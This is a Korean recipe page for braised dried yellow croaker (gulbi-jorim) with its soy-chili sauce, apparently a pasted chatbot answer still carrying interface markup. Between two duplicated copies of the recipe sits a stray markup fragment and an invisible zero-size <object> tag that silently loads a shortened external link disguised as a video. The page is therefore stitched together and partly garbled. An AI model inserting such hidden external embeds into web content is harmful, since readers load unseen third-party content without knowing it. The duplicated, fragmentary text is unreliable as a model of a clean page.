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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:19">밥도둑 굴비조림 양념장 레시피</h2><p data-sourcepos="3:1-3:90"><strong>굴비조림</strong>은 짭짤하면서도 고소한 맛이 일품인 한국인의 대표적인 밥반찬입니다. 갓 지은 흰 밥에 굴비 한 점 올려 먹으면 그야말로 환상적인 궁합을 자랑하죠.</p><p data-sourcepos="5:1-5:71"><strong>굴비조림 양념장 레시피</strong>는 다양하지만, 기본적인 재료와 만드는 법만 알면 누구나 쉽게 맛있는 굴비조림을 만들 수 있습니다.</p><h3 data-sourcepos="7:1-7:15">재료 (4인분 기준)</h3><ul data-sourcepos="9:1-23:0">
<li data-sourcepos="9:1-9:8">굴비 4마리</li>
<li data-sourcepos="10:1-10:8">무 1/2개</li>
<li data-sourcepos="11:1-11:9">양파 1/2개</li>
<li data-sourcepos="12:1-12:7">대파 1대</li>
<li data-sourcepos="13:1-13:9">청양고추 2개</li>
<li data-sourcepos="14:1-14:8">홍고추 1개</li>
<li data-sourcepos="15:1-15:8">간장 4큰술</li>
<li data-sourcepos="16:1-16:10">고춧가루 2큰술</li>
<li data-sourcepos="17:1-17:8">설탕 1큰술</li>
<li data-sourcepos="18:1-18:11">다진 마늘 1큰술</li>
<li data-sourcepos="19:1-19:11">생강즙 1/2큰술</li>
<li data-sourcepos="20:1-20:6">물 1컵</li>
<li data-sourcepos="21:1-21:9">참기름 1큰술</li>
<li data-sourcepos="22:1-23:0">후추 약간</li>
</ul><h3 data-sourcepos="24:1-24:9">만드는 법</h3><ol data-sourcepos="26:1-31:0">
<li data-sourcepos="26:1-26:64"><strong>굴비 손질:</strong> 굴비는 비늘을 제거하고 내장을 깨끗하게 손질합니다. 칼집을 넣으면 양념이 더 잘 배입니다.</li>
<li data-sourcepos="27:1-27:62"><strong>채소 손질:</strong> 무는 도톰하게 썰고, 양파는 채 썰고, 대파와 청양고추, 홍고추는 어슷하게 썰어줍니다.</li>
<li data-sourcepos="28:1-28:63"><strong>양념장 만들기:</strong> 볼에 간장, 고춧가루, 설탕, 다진 마늘, 생강즙을 넣고 잘 섞어 양념장을 만듭니다.</li>
<li data-sourcepos="29:1-29:119"><strong>조리:</strong> 냄비에 기름을 두르고 무를 깔고 그 위에 굴비를 올립니다. 양파, 대파, 청양고추, 홍고추를 넣고 양념장을 골고루 부어줍니다. 물을 1컵 부어준 후 뚜껑을 덮고 중불에서 15분 정도 조려줍니다.</li>
<li data-sourcepos="30:1-31:0"><strong>마무리:</strong> 국물이 자작해질 때까지 조려주면 완성입니다. 마지막에 참기름과 후추를 뿌려주면 더욱 풍미가 살아납니다.</li>
</ol><h3 data-sourcepos="32:1-32:5">팁</h3><ul data-sourcepos="34:1-37:0">
<li data-sourcepos="34:1-34:92"><strong>굴비 선택:</strong> 굴비는 신선한 것을 선택하는 것이 중요합니다. 눌린 부분이나 변색된 부분이 없는지 확인하고, 손으로 만져보았을 때 탄력이 있는 것이 좋습니다.</li>
<li data-sourcepos="35:1-35:93"><strong>양념 조절:</strong> 입맛에 따라 양념의 비율을 조절할 수 있습니다. 매콤한 맛을 좋아한다면 고춧가루를 더 넣고, 달콤한 맛을 좋아한다면 설탕을 조금 더 넣어주세요.</li>
<li data-sourcepos="36:1-37:0"><strong>부재료 활용:</strong> 굴비조림에 다양한 부재료를 추가하여 풍성한 맛을 낼 수 있습니다. 감자, 양파, 애호박 등을 함께 조리하면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="38:1-38:94"><strong>굴비조림</strong>은 밑반찬으로도 좋고, 밥과 함께 먹으면 더욱 맛있습니다. 따뜻한 밥에 굴비 한 점 올려 먹으면 입안 가득 퍼지는 고소한 풍미가 행복을 선사할 것입니다.</p><p data-sourcepos="40:1-40:48"><strong>더욱 다양한 굴비조림 레시피를 찾고 싶으시다면, 유튜브나 블로그를 참고해보세요.</strong></p><p data-sourcepos="42:1-42:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><p data-sourcepos="44:1-44:25"><strong>굴비조림 생선조림 양념장 레시피</strong></p><p data-sourcepos="46:1-46:68"><strong>[참고]</strong> 위 레시피는 일반적인 굴비조림 레시피이며, 개인의 취향에 따라 재료나 양념의 비율을 조절할 수 있습니다.</p><p data-sourcepos="48:1-48:12"><strong>[추가 정보]</strong></p><ul data-sourcepos="49:1-52:0">
<li data-sourcepos="49:1-49:56"><strong>굴비 손질법:</strong> 굴비 손질이 어렵다면, 마트에서 손질된 굴비를 구매하여 사용할 수 있습니다.</li>
<li data-sourcepos="50:1-50:49"><strong>양념장 보관:</strong> 남은 양념장은 냉장 보관하여 다른 요리에 활용할 수 있습니다.</li>
<li data-sourcepos="51:1-52:0"><strong>곁들임 음식:</strong> 굴비조림과 함께 갓 지은 흰 밥, 김치, 나물 등을 곁들여 먹으면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="53:1-53:33"><strong>이 외에도 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="9:1-9:8">굴비 4마리</li>
<li data-sourcepos="10:1-10:8">무 1/2개</li>
<li data-sourcepos="11:1-11:9">양파 1/2개</li>
<li data-sourcepos="12:1-12:7">대파 1대</li>
<li data-sourcepos="13:1-13:9">청양고추 2개</li>
<li data-sourcepos="14:1-14:8">홍고추 1개</li>
<li data-sourcepos="15:1-15:8">간장 4큰술</li>
<li data-sourcepos="16:1-16:10">고춧가루 2큰술</li>
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<li data-sourcepos="18:1-18:11">다진 마늘 1큰술</li>
<li data-sourcepos="19:1-19:11">생강즙 1/2큰술</li>
<li data-sourcepos="20:1-20:6">물 1컵</li>
<li data-sourcepos="21:1-21:9">참기름 1큰술</li>
<li data-sourcepos="22:1-23:0">후추 약간</li>
</ul><h3 data-sourcepos="24:1-24:9">만드는 법</h3><ol data-sourcepos="26:1-31:0">
<li data-sourcepos="26:1-26:64"><strong>굴비 손질:</strong> 굴비는 비늘을 제거하고 내장을 깨끗하게 손질합니다. 칼집을 넣으면 양념이 더 잘 배입니다.</li>
<li data-sourcepos="27:1-27:62"><strong>채소 손질:</strong> 무는 도톰하게 썰고, 양파는 채 썰고, 대파와 청양고추, 홍고추는 어슷하게 썰어줍니다.</li>
<li data-sourcepos="28:1-28:63"><strong>양념장 만들기:</strong> 볼에 간장, 고춧가루, 설탕, 다진 마늘, 생강즙을 넣고 잘 섞어 양념장을 만듭니다.</li>
<li data-sourcepos="29:1-29:119"><strong>조리:</strong> 냄비에 기름을 두르고 무를 깔고 그 위에 굴비를 올립니다. 양파, 대파, 청양고추, 홍고추를 넣고 양념장을 골고루 부어줍니다. 물을 1컵 부어준 후 뚜껑을 덮고 중불에서 15분 정도 조려줍니다.</li>
<li data-sourcepos="30:1-31:0"><strong>마무리:</strong> 국물이 자작해질 때까지 조려주면 완성입니다. 마지막에 참기름과 후추를 뿌려주면 더욱 풍미가 살아납니다.</li>
</ol><h3 data-sourcepos="32:1-32:5">팁</h3><ul data-sourcepos="34:1-37:0">
<li data-sourcepos="34:1-34:92"><strong>굴비 선택:</strong> 굴비는 신선한 것을 선택하는 것이 중요합니다. 눌린 부분이나 변색된 부분이 없는지 확인하고, 손으로 만져보았을 때 탄력이 있는 것이 좋습니다.</li>
<li data-sourcepos="35:1-35:93"><strong>양념 조절:</strong> 입맛에 따라 양념의 비율을 조절할 수 있습니다. 매콤한 맛을 좋아한다면 고춧가루를 더 넣고, 달콤한 맛을 좋아한다면 설탕을 조금 더 넣어주세요.</li>
<li data-sourcepos="36:1-37:0"><strong>부재료 활용:</strong> 굴비조림에 다양한 부재료를 추가하여 풍성한 맛을 낼 수 있습니다. 감자, 양파, 애호박 등을 함께 조리하면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="38:1-38:94"><strong>굴비조림</strong>은 밑반찬으로도 좋고, 밥과 함께 먹으면 더욱 맛있습니다. 따뜻한 밥에 굴비 한 점 올려 먹으면 입안 가득 퍼지는 고소한 풍미가 행복을 선사할 것입니다.</p><p data-sourcepos="40:1-40:48"><strong>더욱 다양한 굴비조림 레시피를 찾고 싶으시다면, 유튜브나 블로그를 참고해보세요.</strong></p><p data-sourcepos="42:1-42:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><p data-sourcepos="44:1-44:25"><strong>굴비조림 생선조림 양념장 레시피</strong></p><p data-sourcepos="46:1-46:68"><strong>[참고]</strong> 위 레시피는 일반적인 굴비조림 레시피이며, 개인의 취향에 따라 재료나 양념의 비율을 조절할 수 있습니다.</p><p data-sourcepos="48:1-48:12"><strong>[추가 정보]</strong></p><ul data-sourcepos="49:1-52:0">
<li data-sourcepos="49:1-49:56"><strong>굴비 손질법:</strong> 굴비 손질이 어렵다면, 마트에서 손질된 굴비를 구매하여 사용할 수 있습니다.</li>
<li data-sourcepos="50:1-50:49"><strong>양념장 보관:</strong> 남은 양념장은 냉장 보관하여 다른 요리에 활용할 수 있습니다.</li>
<li data-sourcepos="51:1-52:0"><strong>곁들임 음식:</strong> 굴비조림과 함께 갓 지은 흰 밥, 김치, 나물 등을 곁들여 먹으면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="53:1-53:33"><strong>이 외에도 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div>
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